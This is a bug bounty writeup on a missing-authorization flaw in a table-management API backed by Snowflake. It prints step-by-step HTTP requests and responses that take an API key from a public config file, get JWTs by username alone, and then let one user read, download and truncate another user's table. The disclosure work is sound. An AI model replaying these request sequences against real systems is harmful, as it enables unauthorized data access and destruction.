September 14, 2026
Zero Permissions, Full DDL: How I Broke Table Authorization in AT&Tโs Snowflake Backend
A Tyrion404 writeup โ on the difference between authentication and authorization, and why confusing the two is a very expensive mistake.

By Tyrion404
7 min read
Knowing someone's name is not the same as knowing their secrets. A guard who checks your pass at the gate but never asks where you're going has done half his job โ and the wrong half.
The REDACTED API checked the pass. It never asked where anyone was going.
The Setup
The target platform included a supply-chain planning and forecasting module โ a separate API service running alongside the main portal. This module exposed a table management interface: endpoints for creating tables, reading their schemas, downloading their records, checking their existence, and truncating them. All of these operations ran against a live Snowflake database on the backend.
The API enforced authentication correctly. Every request required a valid JWT, and the token had to match the userId field submitted in the request body โ a mismatched pair was rejected. That part worked.
What didn't exist was the next layer: authorization. The API never asked whether the authenticated user was allowed to perform DDL operations at all, and it never asked whether the user owned โ or had any relationship to โ the table they were acting on.
Authentication without authorization is a gate with no rooms behind it.
The Cast
Two users. Two separate accounts. No relationship between them. Both zero-permission zero-permission portal users with no elevated roles and no declared access to any REDACTED tables.
- User A โ the table creator. Authenticated with their own JWT.
- User B โ a completely separate account. Different JWT, different user ID, no connection to User A or anything User A created.
The goal: have User B act on User A's table โ using only the table name.
Act I โ Getting In
The API key required for all requests was available from the publicly-served frontend configuration file โ no login needed:
GET /config.js HTTP/1.1
Host: [REDACTED]
HTTP/1.1 200 OK
...VITE_JAVA_API_KEY: "[REDACTED]"...GET /config.js HTTP/1.1
Host: [REDACTED]
HTTP/1.1 200 OK
...VITE_JAVA_API_KEY: "[REDACTED]"...Two JWTs were then obtained via the SSO endpoint โ one per user. The SSO endpoint accepted a username in the request body and issued a signed JWT in return, without requiring a password or MFA. (This endpoint's credential-free behavior was reported and confirmed separately; it's used here only to establish two authenticated sessions for the authorization test.)
POST /api/home/ssoAuthentication HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
{"username":"[USER_A]"}
โ response data.accessToken = <TOKEN_A>POST /api/home/ssoAuthentication HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
{"username":"[USER_A]"}
โ response data.accessToken = <TOKEN_A>
POST /api/home/ssoAuthentication HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
{"username":"[USER_B]"}
โ response data.accessToken = <TOKEN_B>POST /api/home/ssoAuthentication HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
{"username":"[USER_B]"}
โ response data.accessToken = <TOKEN_B>
Two valid sessions. No elevated roles. No REDACTED-specific permissions. Total prerequisites: zero beyond a valid username.
Act II โ User A Creates a Live Table
User A submitted a createTable request against the REDACTED API. The request body specified a table name, an owner field (User A's username), a description, and two columns.
POST /REDACTED-api/REDACTED/createTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{
"userId": "[USER_A_ID]",
"tableName": "[TEST_TABLE_NAME]",
"tableOwner": "[USER_A]",
"discription": "Security test - authorized bug bounty - please delete",
"tableColumns": [
{"column": "TEST_ID", "dataType": "STRING", "nullCheck": "NULL"},
{"column": "TEST_VALUE", "dataType": "STRING", "nullCheck": "NULL"}
]
}POST /REDACTED-api/REDACTED/createTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{
"userId": "[USER_A_ID]",
"tableName": "[TEST_TABLE_NAME]",
"tableOwner": "[USER_A]",
"discription": "Security test - authorized bug bounty - please delete",
"tableColumns": [
{"column": "TEST_ID", "dataType": "STRING", "nullCheck": "NULL"},
{"column": "TEST_VALUE", "dataType": "STRING", "nullCheck": "NULL"}
]
}Response:
{"statusCode": 200, "statusMessage": "Success"}{"statusCode": 200, "statusMessage": "Success"}
Table existence confirmed via checkDuplicateTable:
POST /REDACTED-api/REDACTED/checkDuplicateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{"userId": "[USER_A_ID]", "tableName": "[TEST_TABLE_NAME]"}POST /REDACTED-api/REDACTED/checkDuplicateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{"userId": "[USER_A_ID]", "tableName": "[TEST_TABLE_NAME]"}Response:
{"data": 1, "statusCode": 200, "statusMessage": "Success"}{"data": 1, "statusCode": 200, "statusMessage": "Success"}
data: 0 means the table doesn't exist. data: 1 means it does. Before the createTable call, every tested name returned data: 0. This confirmed the backend executed a real CREATE TABLE in the Snowflake database โ not a cached check, not a mock response.
The schema was then retrieved via getTableData:
POST /REDACTED-api/REDACTED/getTableData HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{"userId": "[USER_A_ID]", "tableName": "[TEST_TABLE_NAME]"}POST /REDACTED-api/REDACTED/getTableData HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_A>
{"userId": "[USER_A_ID]", "tableName": "[TEST_TABLE_NAME]"}Response
{
"data": {
"data": [
{"COLUMN_NAME": "RAW_ID", "DATA_TYPE": "NUMBER"},
{"COLUMN_NAME": "TEST_ID", "DATA_TYPE": "TEXT"},
{"COLUMN_NAME": "TEST_VALUE", "DATA_TYPE": "TEXT"}
],
"description": "Security test - authorized bug bounty - please delete"
},
"statusCode": 200,
"statusMessage": "Success"
}{
"data": {
"data": [
{"COLUMN_NAME": "RAW_ID", "DATA_TYPE": "NUMBER"},
{"COLUMN_NAME": "TEST_ID", "DATA_TYPE": "TEXT"},
{"COLUMN_NAME": "TEST_VALUE", "DATA_TYPE": "TEXT"}
],
"description": "Security test - authorized bug bounty - please delete"
},
"statusCode": 200,
"statusMessage": "Success"
}The response included a RAW_ID NUMBER column that was not in the original request โ added automatically by the backend's own table creation logic. This confirmed the API executed the full CREATE TABLE statement rather than just validating the input and storing metadata. A real Snowflake table now existed, created by a zero-permission user who had no business creating database objects.
Act III โ User B Does Whatever They Want
Everything from this point forward used User B's JWT and user ID. User B had no connection to User A, no knowledge of the table beyond its name, and no elevated permissions.
User B reads User A's table schema:
POST /REDACTED-api/REDACTED/getTableData HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"userId": "[USER_B_ID]", "tableName": "[TEST_TABLE_NAME]"}POST /REDACTED-api/REDACTED/getTableData HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"userId": "[USER_B_ID]", "tableName": "[TEST_TABLE_NAME]"}Response :
{
"data": {
"data": [
{"COLUMN_NAME": "RAW_ID", "DATA_TYPE": "NUMBER"},
{"COLUMN_NAME": "TEST_ID", "DATA_TYPE": "TEXT"},
{"COLUMN_NAME": "TEST_VALUE", "DATA_TYPE": "TEXT"}
],
"description": "Security test - authorized bug bounty - please delete"
},
"statusCode": 200,
"statusMessage": "Success"
}{
"data": {
"data": [
{"COLUMN_NAME": "RAW_ID", "DATA_TYPE": "NUMBER"},
{"COLUMN_NAME": "TEST_ID", "DATA_TYPE": "TEXT"},
{"COLUMN_NAME": "TEST_VALUE", "DATA_TYPE": "TEXT"}
],
"description": "Security test - authorized bug bounty - please delete"
},
"statusCode": 200,
"statusMessage": "Success"
}HTTP 200. Full schema. The API returned User A's table data to User B without checking whether User B had any relationship to it.
User B confirms the table exists:
POST /REDACTED-api/REDACTED/checkDuplicateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"userId": "[USER_B_ID]", "tableName": "[TEST_TABLE_NAME]"}POST /REDACTED-api/REDACTED/checkDuplicateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"userId": "[USER_B_ID]", "tableName": "[TEST_TABLE_NAME]"}Response :
{"data": 1, "statusCode": 200, "statusMessage": "Success"}{"data": 1, "statusCode": 200, "statusMessage": "Success"}User B downloads all records:
POST /REDACTED-api/REDACTED/downloadTableRecord HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"tableName": "[TEST_TABLE_NAME]", "userId": "[USER_B_ID]"}POST /REDACTED-api/REDACTED/downloadTableRecord HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"tableName": "[TEST_TABLE_NAME]", "userId": "[USER_B_ID]"}Response :
{
"data": {
"columns": ["RAW_ID", "TEST_ID", "TEST_VALUE"],
"rows": [],
"totalRecords": 0
},
"statusCode": 200,
"statusMessage": "Success"
}{
"data": {
"columns": ["RAW_ID", "TEST_ID", "TEST_VALUE"],
"rows": [],
"totalRecords": 0
},
"statusCode": 200,
"statusMessage": "Success"
}HTTP 200. Full column list. Record download accepted, table was empty by design โ no production data was touched.
User B truncates User A's table:
POST /REDACTED-api/REDACTED/truncateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"userId": "[USER_B_ID]", "tableName": "[TEST_TABLE_NAME]"}json
{"statusCode": 200, "statusMessage": "Success"}POST /REDACTED-api/REDACTED/truncateTable HTTP/1.1
Host: [REDACTED]
Content-Type: application/json
APIKey: [REDACTED]
token: <TOKEN_B>
{"userId": "[USER_B_ID]", "tableName": "[TEST_TABLE_NAME]"}json
{"statusCode": 200, "statusMessage": "Success"}HTTP 200. TRUNCATE TABLE โ a DDL statement that removes every row from a table instantly โ accepted and executed by the backend against a table created and owned by a completely different user. The API never checked whether User B owned the table, had been granted access to it, or held any role that would permit DDL operations. The only thing it checked was that the JWT was valid and matched the userId in the request body.
The operation was repeated on a second test table with the same result.
The Authorization Matrix
Every operation that was tested across users succeeded without restriction.
Also observed during testing: deleteTableRecord, editTableRecord, and bulkUploadIMEI all reached backend processing โ returning application-level errors (409, 500, 400) rather than authorization rejections. The errors were caused by the empty table state, not by any access control gate. These endpoints were not further tested beyond confirming they reached the application layer.
What the Bug Actually Is
The API conflated two distinct security properties:
Authentication โ verifying that a JWT is valid and belongs to the stated user. This was implemented and working.
Authorization โ verifying that the authenticated user is permitted to perform the requested operation on the requested object. This was not implemented at all for the /REDACTED/ module.
The result: any authenticated portal user โ zero permissions, no REDACTED role, no relationship to any REDACTED table โ could create Snowflake database objects and invoke DDL operations against any table name the API would resolve. The tableOwner field in the createTable request was supplied by the caller and stored, but never consulted when another caller arrived to act on the same table. It was metadata, not enforcement.
The higher-risk implication โ unconfirmed but structurally plausible โ is that if operational REDACTED table names are resolvable through the same tableName parameter with no additional gating, the truncateTable endpoint would accept a non-owner request against a populated production table and return HTTP 200 just as it did here. That path was not tested; production tables were not targeted. The behavior on researcher-created empty tables is sufficient to establish the finding
What Made This Work
One missing check, in one module, that should have existed in two places:
Missing role check: DDL endpoints โ createTable, truncateTable โ were reachable by any authenticated user regardless of whether they held any REDACTED-related role. A standard portal user with zero declared permissions had no business touching Snowflake DDL. The role gate simply wasn't there.
Missing ownership check: The tableOwner field was recorded at creation time but never consulted when subsequent requests arrived. The API verified the caller's identity โ it confirmed the JWT matched the userId. It never asked whether that userId had any relationship to the target table. Any caller who knew a table name could act on it.
Authentication proves who you are. Authorization decides what you're allowed to do. The first without the second is a locked door with no walls around it.
Tyrion has always understood that the real power isn't in the sword. It's in knowing which doors were built without walls โ and being the only one who bothered to check.
Final bounty $,$$$
tyrion404 โ HackerOne
"It's not easy being drunk all the time. Everyone would do it if it were easy."